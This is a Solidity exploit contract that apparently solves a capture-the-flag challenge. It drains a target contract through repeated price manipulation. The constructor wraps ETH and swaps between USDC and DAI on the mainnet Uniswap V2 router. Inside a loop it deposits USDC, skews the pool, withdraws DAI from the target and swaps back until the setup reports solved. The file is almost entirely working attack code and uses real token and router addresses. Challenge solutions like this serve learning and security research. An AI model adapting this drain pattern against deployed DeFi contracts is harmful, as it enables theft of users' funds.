Exploit.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

import "./contracts/Setup.sol";
//import "forge-std/console.sol";

contract Exploit {

    address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER);
    IERC20 private dai = IERC20(DAI);
    IERC20 private usdc = IERC20(USDC);
    IWETH9 private weth = IWETH9(WETH);

    constructor(Setup setup) payable {
        weth.approve(address(router), type(uint256).max);
        dai.approve(address(router), type(uint256).max);
        usdc.approve(address(router), type(uint256).max);
        usdc.approve(address(setup.TARGET()), type(uint256).max);
        dai.approve(address(setup.TARGET()), type(uint256).max);

        uint bal = address(this).balance;
        weth.deposit{ value: bal }();

        address[] memory path;
        path = new address[](2);

        uint exploit_amount = 1 ether; // i just find this sweet spot by hand lol.
        {
            path[0] = WETH;
            path[1] = USDC;
            uint[] memory amounts = router.swapExactTokensForTokens(
                exploit_amount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }

        uint dollars = usdc.balanceOf(address(this))-1;
        for (uint i = 0; i < 20; i++) {
            //console.log("iteration", i);
            //console.log("old dollars", usdc.balanceOf(address(this)));

            // 1.
            setup.TARGET().depositUSDC(dollars/2);

            // 2.
            {
                path[0] = USDC;
                path[1] = DAI;
                uint[] memory amounts = router.swapExactTokensForTokens(
                    dollars/2,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            }

            // 3.
            setup.TARGET().withdrawDAI(setup.TARGET().balanceOf(address(this)));

            // 4.
            // console.log("cur usdc   ", usdc.balanceOf(address(this)));
            // console.log("cur dai    ", dai.balanceOf(address(this)));
            {
                path[0] = DAI;
                path[1] = USDC;
                uint[] memory amounts = router.swapExactTokensForTokens(
                    dai.balanceOf(address(this)),
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            }

            //console.log("new dollars", usdc.balanceOf(address(this)));
            //console.log("new balance ", usdc.balanceOf(address(setup.TARGET())) + dai.balanceOf(address(setup.TARGET()))/10e12);
            if (setup.isSolved()) {
                //console.log("solved?");
                return;
            }
        }
        require(false);
    }
}